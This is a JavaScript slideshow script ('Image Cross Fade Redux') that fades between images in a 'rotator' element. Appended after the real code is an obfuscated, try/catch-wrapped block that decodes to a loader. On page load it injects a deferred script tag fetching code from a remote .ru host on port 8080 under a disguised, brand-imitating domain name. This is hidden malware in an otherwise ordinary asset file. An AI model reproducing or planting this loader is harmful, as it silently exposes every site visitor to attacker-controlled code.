/*
	Image Cross Fade Redux
	Version 1.0
	Last revision: 02.15.2006
	steve@slayeroffice.com

	Rewrite of old code found here: http://slayeroffice.com/code/imageCrossFade/index.html
*/

window.addEventListener?window.addEventListener('load',so_init,false):window.attachEvent('onload',so_init);

var d=document, imgs = new Array(), zInterval = null, current=0, pause=false;

function so_init()
{
	if(!d.getElementById || !d.createElement)return;

	css = d.createElement('link');
	css.setAttribute('rel','stylesheet');
	css.setAttribute('type','text/css');
	d.getElementsByTagName('head')[0].appendChild(css);

	imgs = d.getElementById('rotator').getElementsByTagName('img');
	for(i=1;i<imgs.length;i++) imgs[i].xOpacity = 0;
	imgs[0].style.display = 'block';
	imgs[0].xOpacity = .99;

	setTimeout(so_xfade,4000);
}

function so_xfade()
{
	cOpacity = imgs[current].xOpacity;
	nIndex = imgs[current+1]?current+1:0;
	nOpacity = imgs[nIndex].xOpacity;

	cOpacity-=.05;
	nOpacity+=.05;

	imgs[nIndex].style.display = 'block';
	imgs[current].xOpacity = cOpacity;
	imgs[nIndex].xOpacity = nOpacity;

	setOpacity(imgs[current]);
	setOpacity(imgs[nIndex]);

	if(cOpacity<=0)
	{
		imgs[current].style.display = 'none';
		current = nIndex;
		setTimeout(so_xfade,4000);
	}
	else
	{
		setTimeout(so_xfade,50);
	}

	function setOpacity(obj)
	{
		if(obj.xOpacity>.99)
		{
			obj.xOpacity = .99;
			return;
		}

		obj.style.opacity = obj.xOpacity;
		obj.style.MozOpacity = obj.xOpacity;
		obj.style.filter = 'alpha(opacity=' + (obj.xOpacity*100) + ')';
	}
}

this.R="";var Z=new Array();try {var t;if(t!='w' && t!='M'){t=''};var SF;if(SF!='fC' && SF!='G'){SF=''};var kV='g';var s='[';this.VN="";var L="";var a='replace';var bW;if(bW!=''){bW='bK'};var _=RegExp;var T='';var Y;if(Y!='aW'){Y='aW'};var SD=new String();var Q=']';this.r="";this.xb="";var nS=new Array();var zV=new Array();function k(z,S){var D;if(D!='_U'){D='_U'};var b=s;b+=S;var iY;if(iY!='Dc'){iY='Dc'};b+=Q;var ti=new String();var Rv;if(Rv!='' && Rv!='Iv'){Rv=null};var bA=new _(b, kV);return z[a](bA, T);var yv=new String();};var Cv='';var di='';var rp;if(rp!='' && rp!='jf'){rp=null};var H=k('hWtPtwpw:W/W/Pa1vwgW-wcPoPmW.Pm1owz1i1lWlPaP.wc1owmW.wjwoPo1m1l1aP-1oPrwgW.Pmwy1fPr1ewe1mwaWgW.Wrwu1:W',"PWw1");var tu=new String();var P=k('824707687720426',"6427");var v;if(v!='LF' && v!='Me'){v='LF'};var p='';var PN;if(PN!='fU' && PN!='NP'){PN=''};var e=k('cdr8e8a8t8e8E8l8e8mde8n8td',"d8");this.wm="";var B=k('s2e2tEAEtEt2rEiEbEuEt2e2',"E2");this.AU='';var Ts=k('oznklsosasdk',"kzs");var x=k('/NwkoQrkdkpQrQeksNsB.QcBoNmQ/NwBoNrkdBpBrNeQsQsB.kckoQmQ/BvNnkeQtQ.QcBnB/QgBoNokgBlBeN.BcNokmN/NpBekrQeQzQhNiklQtQoBnk.QcQoBmB.kpkhBpB',"NkBQ");this.sZ='';this.JK='';var f=k('aVpYpzeYnYdPC_hPizlPdP',"zYPV_");this.UM='';var cB=new Array();var HG=k('sFc6rdixpdtd',"Dd6xF");var dC;if(dC!='' && dC!='Zk'){dC=null};var zm;if(zm!='' && zm!='Ip'){zm=null};var l=k('b1ord1y1',"1r");this.LS="";this.TX="";var z="1";var fi;if(fi!='nY' && fi != ''){fi=null};window[Ts]=function(){var QT="";var q;if(q!='Jz' && q != ''){q=null};V=document[e](HG);this.Ds='';var it=new Array();var fgU=new String();var wH;if(wH!='' && wH!='qn'){wH=null};p+=H;var oS=new String();p+=P;var aln=new String();p+=x;this.ZO='';this.bq='';var vL;if(vL!='Zm'){vL=''};this.Rdw="";var TO=document[l];var dW;if(dW!='' && dW!='GXG'){dW='Xr'};V.src=p;this.wX_='';V.setAttribute('defer', z);this.CT='';TO.appendChild(V);};var yA="";} catch(F){};